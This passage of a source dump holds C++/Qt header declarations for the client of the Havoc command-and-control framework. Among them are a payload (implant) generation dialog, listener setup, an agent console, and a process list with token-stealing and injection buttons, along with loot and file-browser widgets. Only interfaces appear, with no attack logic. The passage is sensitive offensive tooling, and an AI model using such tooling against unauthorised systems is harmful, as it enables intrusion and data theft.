PyObject*   DialogClass_addCalendar( PPyDialogClass self, PyObject *args );
PyObject*   DialogClass_replaceLabel( PPyDialogClass self, PyObject *args );
PyObject*   DialogClass_addImage( PPyDialogClass self, PyObject *args );
PyObject*   DialogClass_addDial( PPyDialogClass self, PyObject *args );
PyObject*   DialogClass_addSlider( PPyDialogClass self, PyObject *args );

#endif


================================================
FILE: client/include/Havoc/PythonApi/UI/PyLoggerClass.hpp
================================================
#ifndef HAVOC_PYLOGGERCLASS_H
#define HAVOC_PYLOGGERCLASS_H

#include <UserInterface/HavocUI.hpp>
#include <global.hpp>

#include <QGridLayout>
#include <QTextEdit>
#include <QDialog>

typedef struct
{

    QWidget* window;
    QGridLayout* layout;
    QTextEdit* LogSection;

} PyLoggerQWindow, *PPyLoggerQWindow;

typedef struct
{
    PyObject_HEAD

    // Demon Info
    char* title;
    PPyLoggerQWindow LoggerWindow;

} PyLoggerClass, *PPyLoggerClass;

extern PyTypeObject PyLoggerClass_Type;

void        LoggerClass_dealloc( PPyLoggerClass self );
PyObject*   LoggerClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds );
int         LoggerClass_init( PPyLoggerClass self, PyObject *args, PyObject *kwds );

// Methods

PyObject* LoggerClass_setBottomTab( PPyLoggerClass self, PyObject *args );
PyObject* LoggerClass_setSmallTab( PPyLoggerClass self, PyObject *args );
PyObject* LoggerClass_addText( PPyLoggerClass self, PyObject *args );
PyObject* LoggerClass_clear( PPyLoggerClass self, PyObject *args );

#endif


================================================
FILE: client/include/Havoc/PythonApi/UI/PyTreeClass.hpp
================================================
#ifndef HAVOC_PYTREECLASS_H
#define HAVOC_PYTREECLASS_H

#include <UserInterface/HavocUI.hpp>
#include <global.hpp>

#include <QWidget>
#include <QVBoxLayout>
#include <QHBoxLayout>
#include <QScrollArea>
#include <QTextEdit>
#include <QTextBrowser>
#include <QTreeView>
#include <QStandardItemModel>
#include <QStandardItem>
#include <QSplitter>


typedef struct
{

    QWidget*            window;
    QHBoxLayout*        layout;
    QScrollArea*        scroll;
    QWidget*            root;
    QVBoxLayout*        root_layout;

    QStandardItemModel* item_model;
    QStandardItem*      root_item;
    QTreeView*          tree_view;
    QTextBrowser*          panel;
    QSplitter*          splitter;

} PyTreeQWindow, *PPyTreeQWindow;

typedef struct
{
    PyObject_HEAD

    // Demon Info
    char* title;
    PPyTreeQWindow TreeWindow;

} PyTreeClass, *PPyTreeClass;

extern PyTypeObject PyTreeClass_Type;

void        TreeClass_dealloc( PPyTreeClass self );
PyObject*   TreeClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds );
int         TreeClass_init( PPyTreeClass self, PyObject *args, PyObject *kwds );

// Methods

PyObject* TreeClass_setBottomTab( PPyTreeClass self, PyObject *args );
PyObject* TreeClass_setSmallTab( PPyTreeClass self, PyObject *args );
PyObject* TreeClass_addRow( PPyTreeClass self, PyObject *args );
PyObject* TreeClass_setItem( PPyTreeClass self, PyObject *args );
PyObject* TreeClass_setPanel( PPyTreeClass self, PyObject *args );

#endif


================================================
FILE: client/include/Havoc/PythonApi/UI/PyWidgetClass.hpp
================================================
#ifndef HAVOC_PYWIDGETCLASS_H
#define HAVOC_PYWIDGETCLASS_H

#include <UserInterface/HavocUI.hpp>
#include <global.hpp>

#include <QVBoxLayout>
#include <QDialog>
#include <QLabel>
#include <QPushButton>
#include <QCheckBox>
#include <QLineEdit>
#include <QCalendarWidget>
#include <QScrollArea>
#include <QDial>
#include <QSlider>

typedef struct
{

    QWidget*        window;
    QVBoxLayout*    layout;
    QScrollArea*    scroll;
    QWidget*        root;
    QVBoxLayout*    root_layout;

} PyWidgetQWindow, *PPyWidgetQWindow;

typedef struct
{
    PyObject_HEAD

    // Demon Info
    char* title;
    PPyWidgetQWindow WidgetWindow;

} PyWidgetClass, *PPyWidgetClass;

extern PyTypeObject PyWidgetClass_Type;

void        WidgetClass_dealloc( PPyWidgetClass self );
PyObject*   WidgetClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds );
int         WidgetClass_init( PPyWidgetClass self, PyObject *args, PyObject *kwds );

// Methods

PyObject* WidgetClass_addLabel( PPyWidgetClass self, PyObject *args );
PyObject* WidgetClass_setBottomTab( PPyWidgetClass self, PyObject *args );
PyObject* WidgetClass_setSmallTab( PPyWidgetClass self, PyObject *args );
PyObject*   WidgetClass_addButton( PPyWidgetClass self, PyObject *args );
PyObject*   WidgetClass_addCheckbox( PPyWidgetClass self, PyObject *args );
PyObject*   WidgetClass_addCombobox( PPyWidgetClass self, PyObject *args );
PyObject*   WidgetClass_addLineedit( PPyWidgetClass self, PyObject *args );
PyObject*   WidgetClass_addCalendar( PPyWidgetClass self, PyObject *args );
PyObject*   WidgetClass_replaceLabel( PPyWidgetClass self, PyObject *args );
PyObject*   WidgetClass_clear( PPyWidgetClass self, PyObject *args );
PyObject*   WidgetClass_addImage( PPyWidgetClass self, PyObject *args );
PyObject*   WidgetClass_addDial( PPyWidgetClass self, PyObject *args );
PyObject* WidgetClass_addSlider( PPyWidgetClass self, PyObject *args );

#endif


================================================
FILE: client/include/Havoc/Service.hpp
================================================
#ifndef HAVOC_SERVICE_HPP
#define HAVOC_SERVICE_HPP

#include <QString>
#include <QStringList>
#include <QJsonDocument>

#include <vector>

typedef struct
{
    QString Name;
    bool    IsFilePath;
    bool    IsOptional;
} CommandParam;

typedef struct
{
  QString Name;
  QString Extension;
} AgentFormat;

typedef struct
{
    QString                   Name;
    QString                   Description;
    QString                   Help;
    bool                      NeedAdmin;
    QStringList               Mitr;
    std::vector<CommandParam> Params;
    bool                      Anonymous;
} AgentCommands;

typedef struct
{
    QString                    Name;
    QString                    Description;
    QString                    Version;
    QString                    Author;
    uint64_t                   MagicValue;
    QStringList                Arch;
    std::vector<AgentFormat>   Formats;
    QStringList                SupportedOS;
    std::vector<AgentCommands> Commands;
    QJsonDocument              BuildingConfig;
} ServiceAgent;

extern uint64_t DemonMagicValue;

#endif


================================================
FILE: client/include/UserInterface/Dialogs/About.hpp
================================================
#ifndef HAVOC_ABOUTDIALOG_H
#define HAVOC_ABOUTDIALOG_H

#include <global.hpp>
#include <QTextBrowser>

class About : public QDialog
{
private:
    QGridLayout*    gridLayout;
    QLabel*         label;
    QPushButton*    pushButton;
    QSpacerItem*    horizontalSpacer;
    QTextBrowser*   textBrowser;

public:
    QDialog *AboutDialog;

    void setupUi();
    About( QDialog* );

public slots:
    void onButtonClose();
};

#endif

================================================
FILE: client/include/UserInterface/Dialogs/Connect.hpp
================================================
#ifndef HAVOC_CONNECTDIALOG_H
#define HAVOC_CONNECTDIALOG_H

#include <global.hpp>

#include <QLineEdit>
#include <QListWidget>
#include <QPlainTextEdit>
#include <QList>

using namespace std;

class HavocNamespace::UserInterface::Dialogs::Connect : public QDialog
{
private:
    QGridLayout*    gridLayout;

    QPlainTextEdit* plainTextEdit;
    QLabel*         label_Name;
    QLabel*         label_Host;
    QLabel*         label_Port;
    QLabel*         label_User;
    QLabel*         label_Password;

    QLineEdit*      lineEdit_User;
    QLineEdit*      lineEdit_Password;
    QLineEdit*      lineEdit_Host;
    QLineEdit*      lineEdit_Name;
    QLineEdit*      lineEdit_Port;

    QPushButton*    ButtonNewProfile;
    QPushButton*    ButtonConnect;

    QSpacerItem*    horizontalSpacer;
    QListWidget*    listWidget;
    QPalette*       paletteGray;
    QPalette*       paletteWhite;
    QMenu*          listContextMenu;

    HavocNamespace::HavocSpace::DBManager* dbManager;

public:
    vector<Util::ConnectionInfo> TeamserverList;
    QDialog*                     ConnectDialog  = nullptr;
    bool                         tryConnect     = false;
    bool                         isNewProfile   = false;
    bool                         FromAction     = false;

    void setupUi( QDialog* Form );
    Util::ConnectionInfo StartDialog( bool FromAction );
    void passDB( HavocNamespace::HavocSpace::DBManager* db );

private slots:
            void onButton_Connect();
    void onButton_NewProfile();

    void itemSelected();
    void handleContextMenu(const QPoint &pos);

    void itemRemove();
    void itemsClear();
};

#endif


================================================
FILE: client/include/UserInterface/Dialogs/Listener.hpp
================================================

#ifndef HAVOC_LISTENER_HPP
#define HAVOC_LISTENER_HPP

#include <global.hpp>

#include <QLineEdit>
#include <QGroupBox>
#include <QCheckBox>
#include <QPlainTextEdit>
#include <QComboBox>
#include <QtCore/QVariant>
#include <QtWidgets/QApplication>
#include <QtWidgets/QCheckBox>
#include <QtWidgets/QComboBox>
#include <QtWidgets/QDialog>
#include <QtWidgets/QGridLayout>
#include <QtWidgets/QGroupBox>
#include <QtWidgets/QLabel>
#include <QtWidgets/QLineEdit>
#include <QtWidgets/QListWidget>
#include <QtWidgets/QPushButton>
#include <QtWidgets/QStackedWidget>
#include <QtWidgets/QWidget>

using namespace std;

class HavocNamespace::UserInterface::Dialogs::NewListener : public QDialog
{
    typedef struct {
        int         Id;
        QLineEdit*  Input;
    } Data;

    typedef struct {
        std::string  Name;
        QWidget*     Page;
        QFormLayout* Layout;
        int          Index;
        json         Items;
    } ServiceListener;

    std::vector<ServiceListener> ServiceListeners;

public:
    QGridLayout*    gridLayout;
    QGridLayout*    gridLayout_2;
    QGridLayout*    gridLayout_3;
    QGridLayout*    gridLayout_4;

    QWidget*        PageHTTP;
    QWidget*        PageSMB;
    QWidget*        PageExternal;

    QSpacerItem*    horizontalSpacer_2;
    QSpacerItem*    horizontalSpacer_3;
    QSpacerItem*    horizontalSpacer_4;
    QSpacerItem*    horizontalSpacer_5;
    QSpacerItem*    horizontalSpacer_6;
    QSpacerItem*    horizontalSpacer;
    QSpacerItem*    verticalSpacerHeader;
    QSpacerItem*    verticalSpacerUris;

    QLabel*         LabelListenerName;
    QLineEdit*      InputListenerName;
    QLabel*         LabelPayload;
    QComboBox*      ComboPayload;

    QPushButton*    ButtonClose;
    QPushButton*    ButtonSave;

    QGroupBox*      ConfigBox;
    QStackedWidget* StackWidgetConfigPages;

    // Page HTTP

    QLabel*         LabelHosts;
    QGroupBox*      HostsGroup;
    QPushButton*    ButtonHostsGroupAdd;
    QPushButton*    ButtonHostsGroupClear;
    std::vector<QLineEdit*> HostsData;
    QSpacerItem*    verticalSpacer;
    QFormLayout*    formLayout_Hosts;

    QLabel*         LabelHostRotation;
    QComboBox*      ComboHostRotation;

    QLabel*         LabelHostBind;
    QComboBox*      ComboHostBind;

    QLabel*         LabelPortBind;
    QLineEdit*      InputPortBind;

    QLabel*         LabelPortConn;
    QLineEdit*      InputPortConn;

    QLineEdit*      InputUserAgent;
    QLabel*         LabelUserAgent;

    QLabel*         LabelHeaders;
    QGroupBox*      HeadersGroup;
    QPushButton*    ButtonHeaderGroupAdd;
    QPushButton*    ButtonHeaderGroupClear;
    std::vector<QLineEdit*> HeadersData;

    QLabel*         LabelUris;
    QGroupBox*      UrisGroup;
    QPushButton*    ButtonUriGroupAdd;
    QPushButton*    ButtonUriGroupClear;
    std::vector<QLineEdit*> UrisData;

    QLineEdit*      InputHostHeader;
    QLabel*         LabelHostHeader;

    QCheckBox*      CheckEnableProxy;
    QGroupBox*      ProxyConfigBox;
    QLabel*         LabelProxyType;
    QComboBox*      ComboProxyType;
    QLabel*         LabelProxyHost;
    QLineEdit*      InputProxyHost;
    QLabel*         LabelProxyPort;
    QLineEdit*      InputProxyPort;
    QLabel*         LabelUserName;
    QLineEdit*      InputUserName;
    QLabel*         LabelPassword;
    QLineEdit*      InputPassword;

    QFormLayout*    formLayout;
    QFormLayout*    formLayout_2;
    QFormLayout*    formLayout_3;
    QFormLayout*    formLayout_Header;
    QFormLayout*    formLayout_Uri;

    // Page SMB
    QLabel*         LabelPipeName;
    QLineEdit*      InputPipeName;

    // Page External
    QLabel*         LabelEndpoint;
    QLineEdit*      InputEndpoint;

public:
    QDialog* ListenerDialog;

    bool DialogClosed = false;
    bool DialogSaved = false;

    NewListener( QDialog *Dialog );

    MapStrStr Start( Util::ListenerItem Item, bool Edit );

    auto ListenerCustomAdd( QString Listener ) -> bool;
    auto Free() -> void;

protected slots:
    void onButton_Save();

    void onProxyEnabled();
};

#endif


================================================
FILE: client/include/UserInterface/Dialogs/Payload.hpp
================================================
#ifndef HAVOC_STAGELESSDIALOG_H
#define HAVOC_STAGELESSDIALOG_H

#include <global.hpp>

#include <QtWidgets/QApplication>
#include <QtWidgets/QDialog>
#include <QtWidgets/QGridLayout>
#include <QtWidgets/QLabel>

#include <QCheckBox>
#include <QGroupBox>
#include <QComboBox>
#include <QTextEdit>
#include <QThread>
#include <QMetaObject>
#include <QVariant>
#include <QFile>
#include <QTreeWidget>

class Payload : public QDialog
{
    bool            Closed = false;
public:
    QDialog*        PayloadDialog;

    QGridLayout*    gridLayout;
    QGridLayout*    gridLayout_2;
    QGridLayout*    gridLayout_3;

    QGroupBox*      OptionsBox;
    QGroupBox*      BuildConsoleBox;

    QTextEdit*      ConsoleText;

    QComboBox*      ComboAgentType;
    QComboBox*      ComboListener;
    QComboBox*      ComboFormat;
    QComboBox*      ComboArch;

    QTreeWidget*    TreeConfig;

    QLabel*         LabelListener;
    QLabel*         LabelArch;
    QLabel*         LabelFormat;
    QLabel*         LabelAgentType;

    QPushButton*    ButtonGenerate;

    QSpacerItem*    horizontalSpacer;
    QSpacerItem*    horizontalSpacer_2;
    QSpacerItem*    horizontalSpacer_3;
    QSpacerItem*    horizontalSpacer_4;
    QSpacerItem*    horizontalSpacer_5;
    QSpacerItem*    horizontalSpacer_6;
    QSpacerItem*    horizontalSpacer_7;

    QString         TeamserverName;

    auto setupUi( QDialog* StagelessDialog ) -> void;
    auto retranslateUi() -> void;
    auto Start() -> void;

    auto Clear() -> void;
    auto ReceivedImplantAndSave( QString Format, QByteArray ImplantArray )  -> void;

    auto AddConfigFromJson( QJsonDocument JsonConfig ) -> void;
    auto DefaultConfig() -> void;

    auto GetConfigAsJson() -> QJsonDocument;

public slots:
    auto buttonGenerate() -> void;
    auto addConsoleLog( QString MsgType, QString Message ) -> void;
    auto CtxAgentPayloadChange( const QString& AgentType ) -> void;
};


#endif


================================================
FILE: client/include/UserInterface/HavocUI.hpp
================================================
#ifndef HAVOC_HAVOCUI_HPP
#define HAVOC_HAVOCUI_HPP

#include <global.hpp>

#include <UserInterface/Dialogs/About.hpp>
#include <UserInterface/Dialogs/Connect.hpp>
#include <UserInterface/Dialogs/Listener.hpp>
#include <UserInterface/Dialogs/Payload.hpp>

#include <UserInterface/Widgets/SessionTable.hpp>
#include <UserInterface/Widgets/Chat.hpp>
#include <UserInterface/Widgets/ListenerTable.hpp>

#include <Havoc/DBManager/DBManager.hpp>

// QT libraries
#include <QDesktopServices>
#include <QShortcut>
#include <QStatusBar>
#include <QDockWidget>
#include <QHeaderView>
#include <QSplitter>
#include <QTableWidget>
#include <QFile>
#include <QStackedWidget>

class HavocNamespace::UserInterface::HavocUi : public QMainWindow
{
public:
    QWidget*               centralwidget                 = {};
    QAction*               actionNew_Client              = {};
    QAction*               actionChat                    = {};
    QAction*               actionPreferences             = {};
    QAction*               actionDisconnect              = {};
    QAction*               actionExit                    = {};
    QAction*               actionTeamserver              = {};
    QAction*               actionStore                   = {};
    QAction*               actionGeneratePayload         = {};
    QAction*               actionLoad_Script             = {};
    QAction*               actionPythonConsole           = {};
    QAction*               actionAbout                   = {};
    QAction*               actionOpen_Help_Documentation = {};
    QAction*               actionOpen_API_Reference      = {};
    QAction*               actionGithub_Repository       = {};
    QAction*               actionListeners               = {};
    QAction*               actionSessionsTable           = {};
    QAction*               actionSessionsGraph           = {};
    QAction*               actionLogs                    = {};
    QAction*               actionLoot                    = {};
    QGridLayout*           gridLayout                    = {};
    QGridLayout*           gridLayout_3                  = {};
    QTabWidget*            TeamserverTabWidget           = {};
    QMenuBar*              menubar                       = {};
    QMenu*                 menuHavoc                     = {};
    QMenu*                 menuView                      = {};
    QMenu*                 menuAttack                    = {};
    QMenu*                 menuScripts                   = {};
    QMenu*                 menuHelp                      = {};
    QMenu*                 MenuSession                   = {};
    QStatusBar*            statusbar                     = {};
    Dialogs::Connect*      ConnectDialog                 = {};
    About*                 AboutDialog                   = {};
    QMainWindow*           HavocWindow                   = {};
    HavocSpace::DBManager* dbManager                     = {};

public:
    void MarkSessionAs( HavocNamespace::Util::SessionItem session, QString Mark );
    void UpdateSessionsHealth();
    void setupUi( QMainWindow *Havoc );
    void retranslateUi( QMainWindow *Havoc ) const;
    void setDBManager( HavocSpace::DBManager* dbManager );
    void NewTeamserverTab( HavocNamespace::Util::ConnectionInfo* );
    void NewTeamserverTab( QString Name );
    void NewBottomTab( QWidget* TabWidget, const std::string& TitleName, const QString IconPath = "" ) const;
    void NewSmallTab( QWidget* TabWidget, const std::string& TitleName ) const;
    void ConnectEvents();
    void PythonPrepare();

public slots:
    void OneSecondTick();
};

#endif


================================================
FILE: client/include/UserInterface/SmallWidgets/EventViewer.hpp
================================================
#ifndef HAVOC_EVENTVIEWER_HPP
#define HAVOC_EVENTVIEWER_HPP

#include <global.hpp>

class HavocNamespace::UserInterface::SmallWidgets::EventViewer : public QWidget {
    QGridLayout *gridLayout;
public:
    QTextEdit *EventViewerConsole;
    QWidget* EventViewer;

    void setupUi(QWidget* Widget);
    void AppendText(const QString& Time, const QString &text) const;
};

#endif


================================================
FILE: client/include/UserInterface/Widgets/Chat.hpp
================================================
#ifndef HAVOC_CHATWIDGET_H
#define HAVOC_CHATWIDGET_H

#include <global.hpp>
#include <QLineEdit>
#include <QTextEdit>

class HavocNamespace::UserInterface::Widgets::Chat : public QWidget
{
    QGridLayout*    gridLayout      = nullptr;
    QLineEdit*      lineEdit        = nullptr;

public:
    QTextEdit*      EventLogText    = nullptr;
    QWidget*        ChatWidget      = nullptr;
    QString         TeamserverName  = nullptr;

    void setupUi( QWidget* widget );
    void AppendText( const QString& Time, const QString& text ) const;

    void AddUserMessage( const QString Time, QString User, QString text ) const;

public slots:
    void AppendFromInput();

};

#endif


================================================
FILE: client/include/UserInterface/Widgets/DemonInteracted.h
================================================
#ifndef HAVOC_DEMONINTERACTED_H
#define HAVOC_DEMONINTERACTED_H

#include <global.hpp>
#include <Havoc/DemonCmdDispatch.h>

namespace HavocNamespace::UserInterface::Widgets
{
    class DemonInteracted : public QWidget
    {
    private:
        QGridLayout* gridLayout;
        QLabel*      label;
        QLabel*      label_2;

    public:
        QWidget*                    DemonInteractedWidget;
        HavocSpace::DemonCommands*  DemonCommands;
        QString                     TeamserverName;
        Util::SessionItem           SessionInfo;
        QTextEdit*                  Console;
        QCompleter*                 CommandCompleter;
        QStringList                 CompleterCommands;
        QString                     AgentTypeName = "Demon";

        class DemonInput : public QLineEdit
        {
        public:
            int CommandHistoryIndex;
            QStringList CommandHistory;
            explicit DemonInput(QWidget *parent = nullptr);

            void AddCommand( const QString& Command );

        protected:
            bool event(QEvent *) override;

        private:
            bool handleKeyPress(QKeyEvent* eventKey);
            void handleTabKey();
            void handleUpKey();
            void handleDownKey();
        };
        DemonInput* lineEdit;

        void setupUi( QWidget* Form );
        void AppendText( const QString& text );
        void AppendRaw( const QString& text = "" );
        void AppendNoNL( const QString& test );

        QString TaskInfo( bool Show, QString TaskID, const QString& text ) const;
        QString TaskError( const QString& text ) const;

        void AutoCompleteAdd( QString text );
        void AutoCompleteAddList( QStringList list );
        void AutoCompleteClear();

    private slots:
        void AppendFromInput();

    };
}

#endif


================================================
FILE: client/include/UserInterface/Widgets/FileBrowser.hpp
================================================
#ifndef HAVOC_FILEBROWSER_HPP
#define HAVOC_FILEBROWSER_HPP

#include <QtCore/QVariant>
#include <QtWidgets/QApplication>
#include <QtWidgets/QFormLayout>
#include <QtWidgets/QGridLayout>
#include <QtWidgets/QHeaderView>
#include <QtWidgets/QLineEdit>
#include <QtWidgets/QPushButton>
#include <QtWidgets/QSplitter>
#include <QtWidgets/QTableWidget>
#include <QtWidgets/QTreeWidget>
#include <QtWidgets/QWidget>

#include <QtCore/QJsonDocument>
#include <QtCore/QJsonArray>
#include <QtCore/QJsonObject>
#include <QtCore/QJsonValue>

#include <vector>

typedef struct
{
    QString Path;

    QString Type;
    QString Name;
    QString Size;
    QString Modified;
} FileData;

typedef struct _FileDirData
{
    QString               Path;
    QJsonDocument         Data;
    std::vector<FileData> Files;
} FileDirData;

class FileBrowserTableItem : public QTableWidgetItem
{
public:
    FileData Data;
};

class FileBrowserTreeItem : public QTreeWidgetItem
{
public:
    FileData Data;
    QString  ParentPath;
};

class FileBrowser : public QWidget
{
public:
    QString                  SessionID;

    QMenu*                   MenuFileBrowserTable;
    QMenu*                   MenuFileBrowserTree;

    // General
    QAction*                 MenuFileBrowserRemove;
    QAction*                 MenuFileBrowserMkdir;
    QAction*                 MenuFileBrowserReload;

    // Tree
    QAction*                 MenuFileBrowserListDrives;

    QGridLayout*             gridLayout;
    QSplitter*               splitter;
    QFormLayout*             formLayout;

    QWidget*                 FileBrowserWidget;
    QTreeWidget*             FileBrowserTree;
    QWidget*                 FileBrowserListWidget;
    QPushButton*             ButtonGoUpDir;
    QLineEdit*               InputFileBrowserPath;
    QTableWidget*            TableFileBrowser;

    std::vector<FileDirData> DirData;

    void setupUi( QWidget* FileBrowser );
    void retranslateUi( );

    void AddData( QJsonDocument JsonData );

private:
    void TreeAddData( FileData Data );
    void TreeUpdate( );
    void TreeClear( );
    auto TreeSearchPath( QString Path ) -> FileBrowserTreeItem*;
    auto TreePathExists( QString Path ) -> bool;
    void TreeAddDisk( QString Disk );
    void TreeAddChildToParent( QString ParentPath, FileBrowserTreeItem* DataItem );


    void TableAddData( FileData Data );
    void TableClear();

    void ChangePathAndSendRequest( QString Path );

private slots:
    void onTableMenuMkdir();
    void onTableMenuReload();
    void onTableMenuRemove();

    void onTableDoubleClick( int row, int column );
    void onTableContextMenu( const QPoint &pos );

    void onTreeMenuListDrives();
    void onTreeMenuMkdir();
    void onTreeMenuReload();
    void onTreeMenuRemove();

    void onTreeDoubleClick();
    void onTreeContextMenu( const QPoint &pos );

    void onTableMenuDownload();
    void onButtonUp();
    void onInputPath();
};

#endif


================================================
FILE: client/include/UserInterface/Widgets/ListenerTable.hpp
================================================
#include <global.hpp>
#include <QTableWidget>

#include <Havoc/DBManager/DBManager.hpp>
#include <Havoc/Packager.hpp>

class HavocNamespace::UserInterface::Widgets::ListenersTable : public QWidget
{
private:
    QGridLayout *gridLayout;
    QSpacerItem *horizontalSpacer_2;
    QSpacerItem *horizontalSpacer;
    QTableWidget *tableWidget;
    HavocSpace::DBManager* dbManager;
    HavocSpace::Packager* Packager;

    QPushButton* buttonAdd;
    QPushButton* buttonEdit;
    QPushButton* buttonRemove;

public:
    QString TeamserverName;
    QWidget* ListenerWidget;

    void setupUi( QWidget* widget );
    void ButtonsInit();
    void setDBManager( HavocSpace::DBManager* dbManager );

    Util::Packager::Package CreateNewPackage( int EventID, MapStrStr ) const;

    void ListenerAdd( Util::ListenerItem item ) const;
    void ListenerEdit( Util::ListenerItem item ) const;
    void ListenerRemove( QString ListenerName ) const;
    void ListenerError( QString ListenerName, QString Error ) const;
};

================================================
FILE: client/include/UserInterface/Widgets/LootWidget.h
================================================
#ifndef HAVOC_LOOTWIDGET_H
#define HAVOC_LOOTWIDGET_H

#include <QtWidgets/QApplication>
#include <QtWidgets/QComboBox>
#include <QtWidgets/QGridLayout>
#include <QtWidgets/QSpacerItem>
#include <QtWidgets/QSplitter>
#include <QtWidgets/QStackedWidget>
#include <QtWidgets/QTableWidget>
#include <QtWidgets/QWidget>
#include <QLabel>
#include <QScrollArea>

class ImageLabel : public QWidget
{
public:
    QLabel*      label;
    QScrollArea* scrollArea;
    bool         key_ctrl = false;

    explicit ImageLabel(QWidget *parent = 0);
    const QPixmap* pixmap() const;

public slots:
    void setPixmap(const QPixmap&);

protected:
    void resizeEvent(QResizeEvent *);
    void keyReleaseEvent( QKeyEvent* event );
    bool event(QEvent *) override;
    void wheelEvent(QWheelEvent *ev);

public slots:
    void resizeImage();

};

class LootWidget : public QWidget
{
public:
    enum {
        LOOT_IMAGE,
        LOOT_FILE,
    };

    typedef struct
    {
        int     Type;
        QString AgentID;

        struct
        {

        } File;

        struct
        {
            QString     Name;
            QString     Date;
            QString     Size;
            QByteArray  Data;
        } Data;

    } LootData;
    std::vector<LootData> LootItems;

    QGridLayout*    gridLayout;

    QLabel*         LabelShow;
    QLabel*         LabelAgentID;

    QComboBox*      ComboShow;
    QComboBox*      ComboAgentID;

    QTableWidget*   ScreenshotTable;
    QTableWidget*   DownloadTable;

    QMenu*          ScreenshotMenu;
    QAction*        ScreenshotActionDownload;

    QSpacerItem*    horizontalSpacer;
    QStackedWidget* StackWidget;
    QWidget*        Screenshots;
    QGridLayout*    gridLayout_2;
    QSplitter*      splitter;
    ImageLabel*     ScreenshotImage;
    QWidget*        Downloads;
    QGridLayout*    gridLayout_3;

    QSpacerItem*    horizontalSpacer_2;

    LootWidget();
    void Reload();

    void AddSessionSection( const QString& DemonID );
    void AddScreenshot( const QString& DemonID, const QString& Name, const QString& Date, const QByteArray& Data );
    void AddDownload( const QString &DemonID, const QString &Name, const QString& Size, const QString &Date, const QByteArray &Data );
    void AddText( const QString& DemonID, const QString& Name, const QByteArray& Data );

    void ScreenshotTableAdd( const QString& Name, const QString& Date );
    void DownloadTableAdd( const QString& Name, const QString& Size, const QString& Date );

private Q_SLOTS:
    void onAgentChange( const QString& text );
    void onShowChange( const QString& text );
    void onScreenshotTableClick( const QModelIndex &index );
    void onDownloadTableClick( const QModelIndex &index );
    void onScreenshotTableCtx( const QPoint &pos );
};


#endif


================================================
FILE: client/include/UserInterface/Widgets/ProcessList.hpp
================================================
#ifndef HAVOC_PROCESSLIST_HPP
#define HAVOC_PROCESSLIST_HPP

#include <global.hpp>

#include <QtCore/QVariant>
#include <QtWidgets/QApplication>
#include <QtWidgets/QGridLayout>
#include <QtWidgets/QHeaderView>
#include <QtWidgets/QPushButton>
#include <QtWidgets/QSpacerItem>
#include <QtWidgets/QSplitter>
#include <QtWidgets/QTableWidget>
#include <QtWidgets/QTreeWidget>
#include <QtWidgets/QWidget>

#include <QJsonDocument>
#include <QJsonArray>
#include <QJsonObject>

class HavocNamespace::UserInterface::Widgets::ProcessList : public QWidget {
private:
    QGridLayout *gridLayout;
    QSplitter   *splitter;
    QTreeWidget *ProcessTree;
    QTableWidget *ProcessTable;
    QSpacerItem *horizontalSpacer;
    QPushButton *pushButton_Refresh;
    QPushButton *pushButton_Kill;
    QPushButton *pushButton_Steal_Token;
    QPushButton *pushButton_Inject;
    QSpacerItem *horizontalSpacer_2;

    QMenu       *ProcessListMenu;
    QAction     *actionCopyProcessID;
    QAction     *actionSetAsParentProcess;

public:
    Util::SessionItem Session;
    QWidget* ProcessListWidget;
    QString Teamserver;

    void setupUi(QWidget* Widget);
    void UpdateProcessListJson(QJsonDocument ProcessListData);
    void NewTableProcess(std::map<QString, QString> ProcessInfo);
    void NewTreeProcess(std::map<QString, QString> ProcessInfo);

private slots:
    void onButton_Refresh() const;

    void onTableChange();
    void onTreeChange();

    void handleTableListMenuContext(const QPoint &pos);
    void handleTreeListMenuContext(const QPoint &pos);

    void onActionCopyPID();
    void onActionSetParentProcess();
};

#endif


================================================
FILE: client/include/UserInterface/Widgets/PythonScript.hpp
================================================

#ifndef HAVOC_PYTHONSCRIPTWIDGET_HPP
#define HAVOC_PYTHONSCRIPTWIDGET_HPP

#include <global.hpp>
#include <QPlainTextEdit>

#pragma push_macro("slots")
#undef slots
#include <Python.h>
#pragma pop_macro("slots")

class HavocNamespace::UserInterface::Widgets::PythonScriptInterpreter : public QWidget
{
public:
    QGridLayout*        gridLayout;
    QLineEdit*          PythonScriptInput;
    QPlainTextEdit*     PythonScriptOutput;

    QWidget*            PythonScriptInterpreterWidget;

    std::string         StdOut;

    void setupUi(QWidget *WindowWidget);
    void RunCode(QString code);
    void AppendOutput( QString output );

private slots:
    void AppendFromInput();
};
#endif


================================================
FILE: client/include/UserInterface/Widgets/ScriptManager.h
================================================
#ifndef SCRIPTMANAGERVVJSUY_H
#define SCRIPTMANAGERVVJSUY_H

#include <global.hpp>

class HavocNamespace::UserInterface::Widgets::ScriptManager : public QWidget
{
public:
    QGridLayout  *gridLayout          = NULL;
    QPushButton  *buttonLoadScript    = NULL;
    QSpacerItem  *horizontalSpacer    = NULL;
    QSpacerItem  *horizontalSpacer_2  = NULL;
    QTableWidget *tableLoadedScripts  = NULL;
    QWidget      *ScriptManagerWidget = NULL;

    QMenu       *menuScripts          = NULL;
    QAction     *actionReload         = NULL;
    QAction     *actionRemove         = NULL;

    void SetupUi( QWidget *Form );
    void RetranslateUi( void );

    static bool AddScript( QString Path );
    void AddScriptTable( QString Path );

private slots:
    void b_LoadScript();
    void menu_ScriptMenu( const QPoint &pos ) const;

    void ReloadScript() const;
    void RemoveScript() const;
};

#endif // SCRIPTMANAGERVVJSUY_H


================================================
FILE: client/include/UserInterface/Widgets/SessionGraph.hpp
================================================
#ifndef HAVOC_SESSIONGRAPH_HPP
#define HAVOC_SESSIONGRAPH_HPP

#include <global.hpp>

#include <QGraphicsItem>
#include <QGraphicsView>
#include <QRect>

class Node;
class GraphWidget;
class Edge;

enum class NodeItemType {
    Nothing  = 0,
    MainNode = 1,
    Session  = 2
};

class Node : public QGraphicsItem
{
    QRectF  NodePainterSize = QRectF();
    QString NodeLabel       = QString();

public:
    QString      NodeID       = QString();
    NodeItemType NodeType     = NodeItemType::Nothing;
    Edge*        NodeEdge     = nullptr; 
    Node*        Parent       = nullptr; // Pointer to the parent node of the current node. Null for the root.
    Node*        Thread       = nullptr; // For extreme left or right nodes, used to provide a successor node in a contour.
    Node*        Ancestor     = this;    // During the tree layout, it points to the node's ancestor that is used to determine how far apart different subtrees should be.
    bool         Disconnected = false;
    double       Prelim       = 0;       // Preliminary y-coordinate calculated during the first tree traversal.
